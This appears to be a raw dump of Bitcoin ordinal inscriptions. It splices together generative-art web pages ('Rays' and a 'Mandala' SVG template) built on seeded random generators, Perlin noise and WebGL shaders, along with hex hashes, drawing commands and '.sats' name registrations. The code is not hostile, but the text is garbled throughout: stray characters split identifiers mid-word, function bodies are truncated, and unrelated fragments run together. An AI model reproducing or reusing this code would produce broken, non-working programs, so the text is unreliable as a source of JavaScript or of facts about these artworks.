rect(600,800,100,400) rect(500,1000,100,100) rect(700,900,100,100) rect(800,1100,100,100) rect(900,900,100,100) rect(600,500,400,100) rect(600,600,100,100) rect(600,700,400,100) rect(1000,600,100,200) rect(800,600,100,100) rect(700,800,100,100) rect(700,1000,100,100) fill(col4[Math.floor(mathRand()*col4.length)]) rect(700,600,100,100) rect(900,600,100,100) fill(col3[Math.floor(mathRand()*col3.length)]) rect(500,900,100,100) rect(500,700,100,100) rect(500,500,100,100) rect(600,400,100,100) rect(800,400,100,100) rect(600,500,400,100) rect(600,600,100,100) rect(1000,600,100,100) rect(600,600,100,100) rect(800,600,100,100) rect(1000,600,100,100) rect(700,600,300,100) fill(189, 191, 191) rect(600,500,400,100) rect(600,600,100,100) rect(800,600,100,100) rect(1000,600,100,100) rect(700,700,100,100) rect(900,700,100,100) rect(1100,700,100,100) rect(600,800,100,400) rect(500,1000,100,100) rect(700,900,100,100) rect(800,1100,100,100) rect(900,900,100,100) rect(600,500,400,100) rect(600,600,100,100) rect(600,700,400,100) rect(1000,600,100,200) rect(800,600,100,100) rect(700,600,1000,100) rect(500,1200,500,100) rect(400,1100,100,100) fill(223, 223, 223) rect(600,1300,100,100) rect(800,1300,100,100) rect(500,1300,400,100) fill(223, 223, 223) rect(0,1200,400,100) rect(0,900,100,300) rect(100,1300,100,100) rect(200,1100,100,100) rect(300,1300,100,100) rect(100,1000,100,100) rect(600,1200,100,100) rect(800,1200,100,100) fill(223, 223, 223) rect(700,1200,100,100) rect(400,1200,200,100) rect(300,1100,200,1M rect(200,1000,200,100) rect(100,900,200,100) rect(100,800,100,100) rect(200,1200,100,100) rect(100,1100,100,100) rect(800,800,100,300) rect(700,800,100,100) rect(700,1000,100,100) rect(500,400,500,100) rect(700,300,300,100) rect(600,400,500,100) rect(600,300,300,100) rect(600,400,400,100) rect(700,300,200,100) rect(500,400,500,100) rect(500,300,100,100) rect(700,300,100,100) rect(900,300,100,100) rect(600,500,400,100) rect(500,600,100,100) rect(800,800,100,300) rect(700,800,100,100) rect(700,1000,100,100) FjDOUT:BB8202000BD874878DF9FF3F7563EEC6C0D819B7727D5ED23409DBD229EB2AE2 FjDOUT:0BF594F09E35C17D3177424B50821C101B2B32BDEE1E29AA30404DFB245FD45E FjDOUT:3607723B5341C309F2672E193B12B7794FAD4CB1C3725D11EC3322AC8344FD53 FjDOUT:75A78A46D460E6013925A778C75DD341B793FAB6702AE6104312B1F154ACAFD4 FjDOUT:2A6472D6BA85322E54D2DEE799B94986CBB2BF1081FB644D8295A9056BDD5FAE FjDOUT:341708EDB4C40A55885EAE7E77E6D06D74C89A316E3E026F94867BA764F3C9F1 FjDOUT:2BE0BDF7EA7BBA2E520CD32C7CE910F33A36C5CEAE1C30BA9663E0E23189753D text/html;charset=utf-8 <meta charset="UTF-8"> <title>"Rays" by Pawe Dudko | pdudko.com</title> <script id="snippet-random-code" type="text/javascript"> // not editable let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.lengthM ; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); margin: 0; padding: 0; overflow: hidden; <canvas id="myCanvas"></canvas> <script type="text/jaM console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M ,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M ,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M ","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M ,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M 30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M 5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height); window.$generativeTraits = { "Palette": pFeat, "Noisy": noiseFeat, "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal' console.log(window.$generativeTraits) text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "CryptoGPT.sats" d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"8000000.sats"}h! FjDOUT:3F3E00760FCC02EDEE948FA1B4771A3ACDA62780A84763BF9B7B6E6F0F36E898 FjDOUT:2D42A7A64AD4102DB8EC9FB21606475E545CF45811D3CA335F5E1837D3CA8358 text/plain;charset=utf-8 "name": "18881.sats" text/html;charset=utf-8 <meta charset="UTF-8"> <title>Mandala</title> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <script type="text/javascript" > // !!!!!!!!!!!!M !!!!!!!!!!!!!!!!!!!!!!!! // INSERT YOUR GENERATIVE CODE HERE // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get(M "seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 10139042M for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfM return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="module" crossorigin> (function(){const e=document.createElement("link").relList;if(e&&e.supports&&e.supports("modulepreload"))return;for(const s of document.querySelectorAll('link[rel="modulepreload"]'))a(s);new MutationObserver(s=>{for(const o of s)if(o.type==="childList")for(const h of o.addedNodes)h.tagName==="LINK"&&h.rel==="modulepreload"&&a(h)}).observe(document,{chM ildList:!0,subtree:!0});function t(s){const o={};return s.integrity&&(o.integrity=s.integrity),s.referrerpolicy&&(o.referrerPolicy=s.referrerpolicy),s.crossorigin==="use-credentials"?o.credentials="include":s.crossorigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function a(s){if(s.ep)return;s.ep=!0;const o=t(s);fetch(s.href,o)}})();class A{constructor(e,t,a,s=255){this._rgba=[e/255,t/255,a/255,s/255],this._hsla=rt(this._rgba)}set hsla(e){this._hsla=e}get hsla(){return[...this._hsla]}get h(){rM eturn this._hsla[0]}get s(){return this._hsla[1]}get l(){return this._hsla[2]}get a(){return this._hsla[3]}sat(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[1]=e,t}hue(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[0]=e,t}lum(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[2]=e,t}alpha(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[3]=e,t}toString(){return this.a<1?`hsl(${this.h*360}deg ${this.s*100}% ${this.l*100}% / ${this.a*100}%)`:`hsl(${this.h*360}degM ${this.s*100}% ${this.l*100}%)`}static from(e){if(e instanceof A)return e;if(typeof e=="number")return new A(255,0,0);{let t;switch(e.length){case 9:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})(?<a>[0-9a-f]{2})$/i),t&&t.groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16),parseInt(t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 7:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})$/i),t&&tM .groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;case 5:if(t=e.match(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])(?<a>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16),parseInt(""+t.groups.a+t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 4:if(t=e.matcM h(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;default:throw new Error(`Error parsing color string '${e}'`)}}}}function rt([n,e,t,a]){const s=Math.max(n,e,t),o=Math.min(n,e,t);let h;if(s===o)h=0;else{const F=s-o;s===n?h=(e-t)/F%6:s===e?h=(t-n)/F+2:h=(n-e)/F+4,h*=60,h<0&&(h+=360)}const E=s-o,g=(s+o)/2M ,O=E===0?0:E/(1-Math.abs(2*g-1));return[h/360,O,g,a]}const{sin:X,cos:st,abs:ut,PI:mt,acos:Bt,asin:wt,sqrt:ot,round:Dt,floor:Et}=Math,x=(n,e)=>[n[0]+e[0],n[1]+e[1]],it=(n,e)=>[n[0]*e,n[1]*e],lt=n=>ot(n[0]**2+n[1]**2),v=(n,e,t)=>[n[0]+e[0]*t,n[1]+e[1]*t],D=(n,e=1)=>{const t=lt(n);return t===0?[0,0]:it(n,e/t)},at=(n,e,t=2)=>(a,s)=>{let o=0,h=1,E=1;for(let g=0;g<t;g++)o+=h*X(X(a/n*E)+st(s/e*E)),E*=1.97834,h*=.5;return o},C=(n,[e,t])=>{const s=n(e+1e-4,t),o=n(e-1e-4,t),h=n(e,t+1e-4),E=n(e,t-1e-4);return[(s-o)/(2*1e-4),(M h-E)/(2*1e-4)]},b=(n,e)=>{const[t,a]=C(n,e);return[a,-t]},Y=(n,e,t)=>{const a=[e];for(let s=0;s<t;s++)e=x(e,n(e)),a.push(e);return a},Z=n=>Array.from(n,(e,t)=>n[n.length-1-t]),ct=([n,...e],t=!1)=>{let a=`M ${n.join(" ")}`;return a+=e.map(s=>`L ${s.join(" ")}`).join(" "),a+=t?"z":"",a};class pt{constructor(){this.prng=sfc32(...cyrb128(seed))}unit(){return this.prng()}prob(e){return this.prng()<e}float(e,t){return this.prng()*(t-e)+e}int(e,t){return Math.floor(this.prng()*(t-e)+e)}pick(e){return e[this.int(0,e.lengthM )]}}const z={SteamPunk:["#696969","#ebcc23","#F5F5DC","#AF9B60","#4F2A0C","#FF7034","#8B2800"],Colorful:["#C6EEFA","#db504a","#084c61","#e3b505","#4f6d7a","#56a3a6"],pal0:["#DEC78E","#192220","#BE3C39","#7E2925","#CCB477","#647657","#2D4C40","#6AB29B"],pal1:["#B4BCA4","#0E525A","#C2502E","#D47651","#0C353B","#F5AF6B","#897563","#6A402B"],pal2:["#F1D8AF","#785C74","#323666","#298D98","#E36075","#CF9A94","#5BE6CA","#F5BA6A"],pal3:["#6D9995","#516F6B","#233C45","#EDDC8D","#E69837","#7ED0D6","#A89E7A","#3E371D"],pal4:[M "#BDD8C1","#20343C","#3C7179","#EDCD41","#DE694E","#8A3831","#79A791","#33B7C4"],pal5:["#E2DD91","#272C50","#3E9890","#2D5E78","#D53154","#69CFA0","#7C3067","#D78E65"],pal6:["#347179","#20414B","#E9A345","#3BA0A6","#36D8DB","#C7B689","#85B9B3","#975836"],pal7:["#6C95A7","#436FA7","#98A5BB","#EDCDC0","#483F6B","#E8A094","#DC46AB","#AE6362"],pal8:["#9BD7D0","#2C4D57","#172734","#7D5440","#337686","#C59B60","#E18C1F","#27C4CB"],pal9:["#735A82","#B5A5B1","#2D5570","#4CC9D4","#2893A5","#282C4A","#D74855","#EBB137"],pal1M 0:["#6D7B7E","#880B5B","#B28A96","#63BE9F","#27A188","#0D5B50","#C9367B","#CCEDD5"],pal11:["#09272F","#DDAF37","#67A793","#9ED8C7","#53B7AC","#409289","#34736E","#1A514F"],pal12:["#AAB29C","#C95734","#973819","#D27855","#776250","#F5B06B","#0F3438","#0E525A"],pal13:["#A4B1C7","#BD6F68","#EEB5A7","#6C95A7","#2D72C1","#3D3C57","#554A7D","#DC47AB"],pal14:["#101C39","#642E3D","#E14A47","#D7B176","#2EB1B8","#3A5F75","#5D7282","#20415F"],pal15:["#B7BEBC","#C7B55E","#5D9283","#88BCB7","#69AFAB","#2F4047","#51606B","#8F698M D"],pal16:["#877855","#FBF6CD","#B86B42","#30200E","#5F4D37","#C3A064","#DDC081","#F1DE9A"],pal17:["#100B2C","#119065","#28224B","#160B5B","#433E74","#7F7AA1","#C2BDD9","#B70D44"]},ht=(n,{Palette:e})=>{var Q;const t=new pt,[a,s,...o]=z[e],h=z[e],E=[t.pick(h),t.pick(h)];[t.int(0,h.length/3),t.int(h.length/3,2*h.length/3),t.int(2*h.length/3,h.length)].map(m=>h[m]);const g=at(t.float(89,300),t.float(100,300),t.int(1,5)),O=Y(m=>D(C(g,m),5),[200,200],10).map(m=>Y(i=>D(b(g,i),5),m,140)),F=.67,W=innerWidth/innerHeight>F?(M innerHeight-10)*F:innerWidth-10,K=W/F,L=600,R=L/F,B=L/2,w=R/2,u=(m,i,f,d)=>{const l=document.getElementById(m),r=document.createElementNS(G,i);return Object.keys(f).forEach(c=>c==="xlink:href"?r.setAttributeNS(J,c,f[c]):r.setAttribute(c,f[c])),l&&(d===void 0?l.appendChild(r):l.insertBefore(r,d)),r},G="http://www.w3.org/2000/svg",J="http://www.w3.org/1999/xlink";document.createElementNS(G,"svg");const j=document.createElement("div");j.setAttribute("id","svgC"),n.style.background="#ddd",n.style.width=`${innerWidth-10M }px`,n.style.height=`${innerHeight-10}px`,n.style.padding="5px",j.style.width=`${W}px`,j.style.height=`${K}px`,j.style.margin="0 auto",j.style.boxShadow="2px 3px 6px rgba(0,0,0,0.5)",j.style.borderRadius="0.5vh",n.appendChild(j),u("svgC","svg",{id:"art",xmlns:G,"xmlns:xlink":J,"shape-rendering":"geometricPrecision",width:L,height:R,viewBox:`${-B} ${-w} ${L} ${R} `,style:`display:block; width:${W}; height:${K}`}),u("art","defs",{id:"df"}),u("df","filter",{id:"blur"}),u("blur","feGaussianBlur",{stdDeviation:t.int(1,5M )}),u("df","filter",{id:"colorF"}),u("colorF","feColorMatrix",{type:"matrix",values:`${t.float(.2,.8)} 1 0 0 0 0 0 0 1 0`}),u("df","pattern",{id:"hash0",x:0,y:0,width:t.float(1,3),height:5,stroke:t.pick(o),patternTransform:`rotate(${t.int(0,90)} 0 0)`,patternUnits:"userSpaceOnUse"}),u("hash0","line",{x1:0,y1:0,x2:0,y2:5,fill:"none","stroke-width":.3}),u("df","linearGradient",{id:"grad2",x1:"0%",x2:"100%",y1:"0",y2:"0"}),u("grad2","stop",{offset:"0%","stop-color":E[0]}M ),u("grad2","stop",{offset:"100%","stop-color":E[1]}),u("art","rect",{x:-B,y:-w,width:L,height:R,fill:a,id:"bg"}),t.int(30,70),t.int(150,250);for(let m=0;m<200;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const c=D(C(g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){conM st c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}l+=" z",u("art","path",{d:l,stroke:"none",fill:t.pick(o),"fill-opacity":.1})}u("art","g",{id:"stripes",filter:"url(#blur)"});for(let m=0;m<100;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<5;l++){let r=v(d,C(g,d),400);f.push(r),d=r}for(let l=0;l<20;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let $=0;$<5;$++){let M=v(p,b(g,p),400),S=v(I,b(g,I),400);r.push(M),c.unshift(S),p=M,I=S}d=c[0];let y=[];for(let $=0;$<5;$++){let M=v(d,C(g,d),400);y.unshM ift(M),d=M}const[T,..._]=[...f,...r,...y,...c];let H=`M ${T.join(" ")}`;H+=_.map($=>`L ${$.join(" ")}`).join(" "),u("stripes","path",{d:H,fill:t.prob(.9)?t.pick(h):"url(#grad2)",stroke:"none"}),f=[c[0],...Z(y)]}}for(let m=0;m<80;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const 